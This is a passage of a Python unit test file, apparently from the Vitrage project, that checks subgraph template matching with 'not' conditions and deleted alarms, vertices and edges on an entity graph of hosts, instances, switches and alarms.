'Template - Two connected vertices and two disconnected vertices'
'(host alarm -ON-> host, instance, instance alarm)'
' template_root is a specific instance alarm ')
template_graph.add_edge(e_alarm_on_vm)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
vm_alarm,
is_vertex=True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two connected vertices and two more connected vertices'
'(host alarm -ON-> host, instance alarm -ON-> instance)'
' template_root is a specific instance alarm ')
template_graph.add_edge(e_host_contains_vm)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
vm_alarm,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(ENTITY_GRAPH_ALARMS_PER_HOST),
'Template - Four connected vertices'
'(host alarm -ON-> host -CONTAINS-> instance <-ON- instance alarm)'
' template_root is a specific instance alarm ')
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host_alarm,
host_alarm,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(ENTITY_GRAPH_VMS_PER_HOST *
ENTITY_GRAPH_ALARMS_PER_VM),
'Template - Four connected vertices'
'(host alarm -ON-> host -CONTAINS-> instance <-ON- instance alarm)'
' template_root is a specific host alarm ')
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host,
host_vertex,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(ENTITY_GRAPH_VMS_PER_HOST *
ENTITY_GRAPH_ALARMS_PER_VM *
ENTITY_GRAPH_ALARMS_PER_HOST),
'Template - Four connected vertices'
'(host alarm -ON-> host -CONTAINS-> instance <-ON- instance alarm)'
' template_root is a specific host ')
template_graph.add_vertex(t_v_switch)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
vm_alarm,
is_vertex=True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Four connected vertices and a disconnected vertex'
'(host alarm -ON-> host -CONTAINS-> instance <-ON- instance alarm'
',switch) template_root is an instance alarm ')
template_graph.add_edge(e_host_uses_switch)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
vm_alarm,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(ENTITY_GRAPH_ALARMS_PER_HOST),
'Template - Five connected vertices'
'(host alarm -ON-> host -CONTAINS-> instance <-ON- instance alarm'
',host -USES-> switch) template_root '
'is a specific instance alarm ')
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host,
host_vertex,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(ENTITY_GRAPH_VMS_PER_HOST *
ENTITY_GRAPH_ALARMS_PER_VM *
ENTITY_GRAPH_ALARMS_PER_HOST),
'Template - Five connected vertices'
'(host alarm -ON-> host -CONTAINS-> instance <-ON- instance alarm'
',host -USES-> switch) template_root is a specific host ')
mappings = subgraph_matching(self.entity_graph, template_graph, [
Mapping(t_v_switch, v_switch, is_vertex=True),
Mapping(t_v_vm_alarm, vm_alarm, is_vertex=True)],
validate=False)
self.assertThat(
mappings,
matchers.HasLength(ENTITY_GRAPH_ALARMS_PER_HOST),
'Template - Five connected vertices, two mappings given'
'(host alarm -ON-> host -CONTAINS-> instance <-ON- instance alarm'
',host -USES-> switch) 7template_root is a specific host ')
template_graph.add_vertex(t_v_node_not_in_graph)
template_graph.add_edge(e_host_to_node_not_in_graph)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
vm_alarm,
is_vertex=True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Five connected vertices and an invalid edge'
'(host alarm -ON-> host -CONTAINS-> instance <-ON- instance alarm'
',host -USES-> switch) template_root is an instance alarm ')
template_graph.remove_vertex(t_v_node_not_in_graph)
template_graph.remove_vertex(t_v_host_alarm)
template_graph.add_vertex(t_v_node)
template_graph.add_edge(e_node_contains_host)
template_graph.add_edge(e_node_contains_switch)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
vm_alarm,
is_vertex=True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - FIVE connected vertices'
'(host -CONTAINS-> instance <-ON- instance alarm'
',node -CONTAINS-> host -USES-> switch, node-CONTAINS->switch)'
' template_root is an instance alarm ')
mappings = subgraph_matching(self.entity_graph, template_graph, [
Mapping(e_node_contains_switch, e_node_to_switch, is_vertex=False),
Mapping(t_v_vm_alarm, vm_alarm, is_vertex=True)])
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - FIVE connected vertices'
'(host -CONTAINS-> instance <-ON- instance alarm'
',node -CONTAINS-> host -USES-> switch, node-CONTAINS->switch)'
' 3 Known Mappings[switch, node, vm alarm] ')
template_graph.add_edge(e_node_contains_switch_fail)
mappings = subgraph_matching(self.entity_graph, template_graph, [
Mapping(t_v_node, v_node, is_vertex=True),
Mapping(t_v_switch, v_switch, is_vertex=True)], validate=True)
self.assertThat(
mappings,
IsEmpty(),
'Template - FIVE connected vertices - 2 Known Mapping[node,switch]'
' Check that ALL edges between the 2 known mappings are checked'
' we now have node-CONTAINS fail->switch AND node-CONTAINS->switch'
' ')
mappings = ga.sub_graph_matching(template_graph,
Mapping(e_node_contains_switch,
e_node_to_switch,
is_vertex=False),
validate=True)
self.assertThat(
mappings,
IsEmpty(),
'Template - FIVE connected vertices - 2 Known Mapping[node,switch]'
' Check that ALL edges between the 2 known mappings are checked'
' we now have node-CONTAINS fail->switch AND node-CONTAINS->switch'
' ')
template_graph.remove_edge(e_node_contains_switch)
mappings = subgraph_matching(self.entity_graph, template_graph, [
Mapping(t_v_node, v_node, is_vertex=True),
Mapping(t_v_switch, v_switch, is_vertex=True)])
self.assertThat(
mappings,
IsEmpty(),
'Template - FIVE connected vertices - 2 Known Mapping[node,switch]'
' But the edge between these 2 is not same as the graph '
'(host -CONTAINS-> instance <-ON- instance alarm'
',node -CONTAINS-> host -USES-> switch, node-CONTAINS '
'fail->switch)'
' ')
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
vm_alarm,
is_vertex=True))
self.assertThat(
mappings,
IsEmpty(),
'Template - FIVE connected vertices'
'(host -CONTAINS-> instance <-ON- instance alarm'
',node -CONTAINS-> host -USES-> switch, node-CONTAINS '
'fail->switch)'
' template_root is an instance alarm')
def test_template_matching_with_not_operator_of_complicated_subgraph(self):
"""Test the template matching algorithm with 'not' operator
Using the entity graph (created above) as a big graph we search
for a sub graph matches that has simple 'not' operator in the template
"""
ga = self.entity_graph.algo
# Get ids of some of the elements in the entity graph:
host = self.entity_graph.get_vertex(
NOVA_HOST_DATASOURCE + str(ENTITY_GRAPH_HOSTS_PER_CLUSTER - 1))
# Create a template for template matching
template_graph = NXGraph('template_graph')
t_v_alarm_fail = graph_utils.create_vertex(
vitrage_id='1', vitrage_category=ALARM, vitrage_type='fail')
t_v_host = graph_utils.create_vertex(
vitrage_id='2',
vitrage_category=RESOURCE,
vitrage_type=NOVA_HOST_DATASOURCE)
t_v_vm = graph_utils.create_vertex(
vitrage_id='3',
vitrage_category=RESOURCE,
vitrage_type=NOVA_INSTANCE_DATASOURCE)
t_v_vm_alarm = graph_utils.create_vertex(
vitrage_id='4', vitrage_category=ALARM, vitrage_type=ALARM_ON_VM)
e_host_contains_vm = graph_utils.create_edge(
t_v_host.vertex_id, t_v_vm.vertex_id, ELabel.CONTAINS)
e_alarm_not_on_vm = graph_utils.create_edge(
t_v_vm_alarm.vertex_id, t_v_vm.vertex_id, ELabel.ON)
e_alarm_not_on_vm[NEG_CONDITION] = True
e_alarm_not_on_vm[EProps.VITRAGE_IS_DELETED] = True
e_alarm_not_on_host = graph_utils.create_edge(
t_v_alarm_fail.vertex_id, t_v_host.vertex_id, ELabel.ON)
e_alarm_not_on_host[NEG_CONDITION] = True
e_alarm_not_on_host[EProps.VITRAGE_IS_DELETED] = True
for v in [t_v_alarm_fail, t_v_host, t_v_vm, t_v_vm_alarm]:
del(v[VProps.VITRAGE_ID])
# add host vertex to subgraph
template_graph.add_vertex(t_v_host)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host, host, True),
validate=True)
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Single vertex alarm not in graph '
'Template_root is a specific host ' + str(mappings))
# add vm vertex to subgraph
template_graph.add_vertex(t_v_vm)
template_graph.add_edge(e_host_contains_vm)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host, host, True))
self.assertThat(
mappings, matchers.HasLength(ENTITY_GRAPH_VMS_PER_HOST),
'Template - Two connected vertices (host -> vm)'
' template_root is a specific host ' + str(mappings))
# add not alarm to subgraph
template_graph.add_vertex(t_v_vm_alarm)
template_graph.add_edge(e_alarm_not_on_vm)
mappings = ga.sub_graph_matching(template_graph,
Mapping(t_v_host, host, True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Three connected vertices (host -> vm <- NOT alarm)'
' template_root is a specific host ' + str(mappings))
# create temporary entity graph
temp_entity_graph = self.entity_graph.copy()
temp_ga = temp_entity_graph.algo
vms = temp_entity_graph.neighbors(
host.vertex_id,
vertex_attr_filter={
VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,
VProps.VITRAGE_TYPE: NOVA_INSTANCE_DATASOURCE})
###################################################################
# Use case 1: remove alarms of specific vm
###################################################################
alarms = temp_entity_graph.neighbors(
vms[0].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
for alarm in alarms:
temp_entity_graph.remove_vertex(alarm)
mappings = temp_ga.sub_graph_matching(template_graph,
Mapping(t_v_host, host, True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Three connected vertices (host -> vm <- NOT alarm)'
'Template_root is a specific host ' + str(mappings))
# add another not alarm to subgraph
template_graph.add_vertex(t_v_alarm_fail)
template_graph.add_edge(e_alarm_not_on_host)
mappings = temp_ga.sub_graph_matching(template_graph,
Mapping(t_v_host, host, True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Four connected vertices '
'(NOT alarm -> host -> vm <- NOT alarm)'
' template_root is a specific host alarm ' + str(mappings))
###################################################################
# Use case 2: mark alarms and their edges as deleted
###################################################################
vms = temp_entity_graph.neighbors(
host.vertex_id,
vertex_attr_filter={
VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,
VProps.VITRAGE_TYPE: NOVA_INSTANCE_DATASOURCE})
alarms = temp_entity_graph.neighbors(
vms[1].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
for alarm in alarms:
alarm[VProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_vertex(alarm)
edges = temp_entity_graph.get_edges(alarm.vertex_id)
for edge in edges:
edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(edge)
mappings = temp_ga.sub_graph_matching(template_graph,
Mapping(t_v_host, host, True))
self.assertThat(
mappings,
matchers.HasLength(2),
'Template - Three connected vertices (host -> vm <- NOT alarm)'
'Template_root is a specific host ' + str(mappings))
###################################################################
# Use case 3: mark alarm edges as deleted with event on the host
###################################################################
alarms = temp_entity_graph.neighbors(
vms[2].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
for alarm in alarms:
edges = temp_entity_graph.get_edges(alarm.vertex_id)
for edge in edges:
edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(edge)
mappings = temp_ga.sub_graph_matching(template_graph,
Mapping(t_v_host, host, True))
self.assertThat(
mappings,
matchers.HasLength(3),
'Template - Three connected vertices (host -> vm <- NOT alarm)'
'Template_root is a specific host ' + str(mappings))
###################################################################
# Use case 4: event arrived on deleted alarm vertex on vm, that
# has other alarms on it
###################################################################
alarms = temp_entity_graph.neighbors(
vms[3].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
deleted_vertex = alarms[0]
deleted_vertex[VProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_vertex(deleted_vertex)
mappings = temp_ga.sub_graph_matching(template_graph,
Mapping(t_v_vm_alarm,
deleted_vertex,
True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Four connected vertices '
'(NOT alarm -> host -> vm <- NOT alarm)'
' template_root is a specific host ' + str(mappings))
###################################################################
# Use case 5: event arrived on deleted alarm edge on vm, that has
# other alarms on it
###################################################################
alarms = temp_entity_graph.neighbors(
vms[4].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
edges = list(temp_entity_graph.get_edges(alarms[0].vertex_id))
deleted_edge = edges[0]
deleted_edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(deleted_edge)
mappings = temp_ga.sub_graph_matching(template_graph,
Mapping(e_alarm_not_on_vm,
deleted_edge,
False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Four connected vertices '
'(NOT alarm -> host -> vm <- NOT alarm)'
' template_root is a specific host ' + str(mappings))
###################################################################
# Use case 6: event arrived on deleted alarm edge on vm, that has
# other vitrage_is_deleted alarms on it
###################################################################
alarms = temp_entity_graph.neighbors(
vms[5].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
for alarm in alarms:
edges = temp_entity_graph.get_edges(alarm.vertex_id)
for edge in edges:
edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(edge)
deleted_edge = \
list(temp_entity_graph.get_edges(alarms[0].vertex_id))[0]
mappings = temp_ga.sub_graph_matching(template_graph,
Mapping(e_alarm_not_on_vm,
deleted_edge,
False))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Four connected vertices '
'(NOT alarm -> host -> vm <- NOT alarm)'
' template_root is a specific host ' + str(mappings))
def test_template_matching_with_not_operator_of_simple_subgraph(self):
"""Test the template matching algorithm with 'not' operator
Using the entity graph (created above) as a big graph we search
for a sub graph matches that has simple 'not' operator in the template
"""
# Get ids of some of the elements in the entity graph:
graph_host = self.entity_graph.get_vertex(
NOVA_HOST_DATASOURCE + str(ENTITY_GRAPH_HOSTS_PER_CLUSTER - 1))
# Create a template for template matching
template_graph = NXGraph('template_graph')
t_v_vm = graph_utils.create_vertex(
vitrage_id='1',
vitrage_category=RESOURCE,
vitrage_type=NOVA_INSTANCE_DATASOURCE)
t_v_vm_alarm = graph_utils.create_vertex(
vitrage_id='2', vitrage_category=ALARM, vitrage_type=ALARM_ON_VM)
e_alarm_not_on_vm = graph_utils.create_edge(
t_v_vm_alarm.vertex_id, t_v_vm.vertex_id, ELabel.ON)
e_alarm_not_on_vm[NEG_CONDITION] = True
e_alarm_not_on_vm[EProps.VITRAGE_IS_DELETED] = True
for v in [t_v_vm, t_v_vm_alarm]:
del(v[VProps.VITRAGE_ID])
# add instance vertex to subgraph
template_graph.add_vertex(t_v_vm)
# add not alarm on vm vertex to subgraph
template_graph.add_vertex(t_v_vm_alarm)
template_graph.add_edge(e_alarm_not_on_vm)
# create copy of the entity graph
temp_entity_graph = self.entity_graph.copy()
temp_ga = temp_entity_graph.algo
vms = temp_entity_graph.neighbors(
graph_host.vertex_id,
vertex_attr_filter={
VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,
VProps.VITRAGE_TYPE: NOVA_INSTANCE_DATASOURCE})
###################################################################
# Use case 1: find subgraphs (when edges are deleted) with event on
# the edge
###################################################################
alarms = temp_entity_graph.neighbors(
vms[0].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
for alarm in alarms:
edges = temp_entity_graph.get_edges(alarm.vertex_id)
for edge in edges:
edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(edge)
graph_alarm_edge = \
list(temp_entity_graph.get_edges(alarms[0].vertex_id))[0]
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
# find subgraphs (when edges are deleted) with event on the alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_vm_alarm, alarms[0], True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 2: find subgraphs (when vertices are deleted) with event
# on the edge
###################################################################
alarms = temp_entity_graph.neighbors(
vms[1].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
for alarm in alarms:
alarm[VProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_vertex(alarm)
graph_alarm_edge = \
list(temp_entity_graph.get_edges(alarms[0].vertex_id))[0]
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
# find subgraphs (when vertices are deleted) with event on the alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_vm_alarm, alarms[0], True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 3: find subgraphs (when vertices and edges are deleted)
# with event on the edge
###################################################################
alarms = temp_entity_graph.neighbors(
vms[2].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
for alarm in alarms:
alarm[VProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_vertex(alarm)
edges = temp_entity_graph.get_edges(alarm.vertex_id)
for edge in edges:
edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(edge)
graph_alarm_edge = \
list(temp_entity_graph.get_edges(alarms[0].vertex_id))[0]
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
# find subgraphs (when vertices and edges are deleted) with event
# on the alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_vm_alarm, alarms[0], True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 4: find subgraphs (when one alarm of many is deleted)
# with event on the edge
###################################################################
alarms = temp_entity_graph.neighbors(
vms[3].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
graph_alarm = alarms[0]
graph_alarm[VProps.VITRAGE_IS_DELETED] = True
graph_alarm_edge = \
list(temp_entity_graph.get_edges(alarms[0].vertex_id))[0]
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
# find subgraphs (when one alarm of many is deleted) with event
# on the alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_vm_alarm, alarms[0], True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 5: find subgraphs (when one edge of alarm of many is
# deleted) with event on the edge
###################################################################
alarms = temp_entity_graph.neighbors(
vms[4].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
graph_alarm_edge = \
list(temp_entity_graph.get_edges(alarms[0].vertex_id))[0]
graph_alarm_edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(graph_alarm_edge)
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 6: find subgraphs (when one alarm its edge are deleted
# from many alarms) with event on the edge
###################################################################
alarms = temp_entity_graph.neighbors(
vms[5].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
alarms[0][VProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_vertex(alarms[0])
graph_alarm_edge = \
list(temp_entity_graph.get_edges(alarms[0].vertex_id))[0]
graph_alarm_edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(graph_alarm_edge)
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
def test_template_matching_with_not_operator_of_problematic_subgraph(self):
"""Test the template matching algorithm with 'not' operator
Checking the following use case:
network -> vm <--- alarm -> stack -> network
"""
# Get ids of some of the elements in the entity graph:
graph_host = self.entity_graph.get_vertex(
NOVA_HOST_DATASOURCE + str(ENTITY_GRAPH_HOSTS_PER_CLUSTER - 1))
# Create a template for template matching
template_graph = NXGraph('template_graph')
t_v_network = graph_utils.create_vertex(
vitrage_id='1',
vitrage_category=RESOURCE,
vitrage_type=NEUTRON_NETWORK_DATASOURCE)
t_v_vm = graph_utils.create_vertex(
vitrage_id='2',
vitrage_category=RESOURCE,
vitrage_type=NOVA_INSTANCE_DATASOURCE)
t_v_alarm = graph_utils.create_vertex(
vitrage_id='3', vitrage_category=ALARM, vitrage_type=ALARM_ON_VM)
t_v_stack = graph_utils.create_vertex(
vitrage_id='4',
vitrage_category=RESOURCE,
vitrage_type=HEAT_STACK_DATASOURCE)
e_network_connect_vm = graph_utils.create_edge(
t_v_network.vertex_id, t_v_vm.vertex_id, ELabel.CONNECT)
e_alarm_not_on_vm = graph_utils.create_edge(
t_v_alarm.vertex_id, t_v_vm.vertex_id, ELabel.ON)
e_alarm_not_on_vm[NEG_CONDITION] = True
e_alarm_not_on_vm[EProps.VITRAGE_IS_DELETED] = True
e_alarm_on_stack = graph_utils.create_edge(
t_v_alarm.vertex_id, t_v_stack.vertex_id, ELabel.ON)
e_stack_connect_network = graph_utils.create_edge(
t_v_network.vertex_id, t_v_stack.vertex_id, ELabel.CONNECT)
for v in [t_v_vm, t_v_alarm, t_v_network, t_v_stack]:
del(v[VProps.VITRAGE_ID])
# add network vertex to subgraph
template_graph.add_vertex(t_v_network)
# add vm vertex and connect it to host
template_graph.add_vertex(t_v_vm)
template_graph.add_edge(e_network_connect_vm)
# add not alarm and connect it to vm
template_graph.add_vertex(t_v_alarm)
template_graph.add_edge(e_alarm_not_on_vm)
# add stack vertex and connect it to alarm
template_graph.add_vertex(t_v_stack)
template_graph.add_edge(e_alarm_on_stack)
# connect stack to network
template_graph.add_edge(e_stack_connect_network)
# create copy of the entity graph
temp_entity_graph = self.entity_graph.copy()
temp_ga = temp_entity_graph.algo
vms = temp_entity_graph.neighbors(
graph_host.vertex_id,
vertex_attr_filter={
VProps.VITRAGE_CATEGORY: EntityCategory.RESOURCE,
VProps.VITRAGE_TYPE: NOVA_INSTANCE_DATASOURCE})
###################################################################
# Use case 1: alarm connected to vm
###################################################################
alarms = temp_entity_graph.neighbors(
vms[0].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
# Action
for alarm in alarms[1:len(alarms)]:
alarm[VProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_vertex(alarm)
edges = temp_entity_graph.get_edges(alarm.vertex_id)
for edge in edges:
edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(edge)
# build problematic subgraph in entity graph
specific_alarm = alarms[0]
self._build_problematic_subgraph_in_entity_graph(specific_alarm,
vms[0],
temp_entity_graph,
0)
# trigger on edge between vm and alarm
graph_alarm_edges = \
temp_entity_graph.get_edges(specific_alarm.vertex_id)
for edge in graph_alarm_edges:
if 'instance' in edge.target_id:
graph_alarm_edge = edge
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_alarm, specific_alarm, True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 2: alarm not connected to vm (with edge
# vitrage_is_deleted=True)
###################################################################
alarms = temp_entity_graph.neighbors(
vms[1].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
# Action
for alarm in alarms:
edges = temp_entity_graph.get_edges(alarm.vertex_id)
for edge in edges:
edge[EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(edge)
# build problematic subgraph in entity graph
specific_alarm = alarms[0]
self._build_problematic_subgraph_in_entity_graph(specific_alarm,
vms[1],
temp_entity_graph,
1)
# trigger on edge between vm and alarm
graph_alarm_edges = \
temp_entity_graph.get_edges(specific_alarm.vertex_id)
for edge in graph_alarm_edges:
if 'instance' in edge.target_id:
graph_alarm_edge = edge
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_alarm, specific_alarm, True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 3: alarm not connected to vm (without any edge)
###################################################################
alarms = temp_entity_graph.neighbors(
vms[2].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
# Action
for alarm in alarms:
edges = temp_entity_graph.get_edges(alarm.vertex_id)
for edge in edges:
temp_entity_graph.remove_edge(edge)
# build problematic subgraph in entity graph
specific_alarm = alarms[0]
self._build_problematic_subgraph_in_entity_graph(specific_alarm,
vms[2],
temp_entity_graph,
2)
# trigger on edge between vm and alarm
graph_alarm_edges = \
temp_entity_graph.get_edges(specific_alarm.vertex_id)
for edge in graph_alarm_edges:
if 'instance' in edge.target_id:
graph_alarm_edge = edge
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_alarm, specific_alarm, True))
self.assertThat(
mappings,
matchers.HasLength(1),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 4: alarm not connected to vm (with edge
# vitrage_is_deleted=True) and other connected alarms exist
###################################################################
alarms = temp_entity_graph.neighbors(
vms[3].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
# Action
edges = [e for e in temp_entity_graph.get_edges(alarms[0].vertex_id)]
edges[0][EProps.VITRAGE_IS_DELETED] = True
temp_entity_graph.update_edge(edge)
# build problematic subgraph in entity graph
for alarm in alarms:
self._build_problematic_subgraph_in_entity_graph(alarm,
vms[3],
temp_entity_graph,
3)
# trigger on edge (that was deleted) between vm and alarm
specific_alarm = alarms[0]
graph_alarm_edges = \
temp_entity_graph.get_edges(specific_alarm.vertex_id)
for edge in graph_alarm_edges:
if 'instance' in edge.target_id:
graph_alarm_edge = edge
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on edge (that wasn't deleted) between vm and alarm
specific_alarm = alarms[1]
graph_alarm_edges = \
temp_entity_graph.get_edges(specific_alarm.vertex_id)
for edge in graph_alarm_edges:
if 'instance' in edge.target_id:
graph_alarm_edge = edge
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(e_alarm_not_on_vm, graph_alarm_edge, False))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on alarm
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_alarm, specific_alarm, True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
# trigger on instance
mappings = temp_ga.sub_graph_matching(
template_graph,
Mapping(t_v_vm, vms[3], True))
self.assertThat(
mappings,
IsEmpty(),
'Template - Two not connected vertices (vm <- alarm)')
###################################################################
# Use case 5: alarm not connected to vm (without any edge) and
# other connected alarms exist
###################################################################
alarms = temp_entity_graph.neighbors(
vms[4].vertex_id,
vertex_attr_filter={VProps.VITRAGE_CATEGORY: EntityCategory.ALARM,
VProps.VITRAGE_TYPE: ALARM_ON_VM})
# Action
edges = [e for e in temp_entity_graph.get_edges(alarms[0].vertex_id)]
temp_entity_graph.remove_edge(edges[0])
# build problematic subgraph in entity graph
for alarm in alarms:
self._build_problematic_subgraph_in_entity_graph(alarm,
vms[4],
temp_entity_graph,
4)
# trigger on edge (that was deleted) between vm and alarm
specific_alarm = alarms[0]
graph_alarm_edges = \
temp_entity_graph.get_edges(specific_alarm.vertex_id)
for edge in graph_alarm_edges:
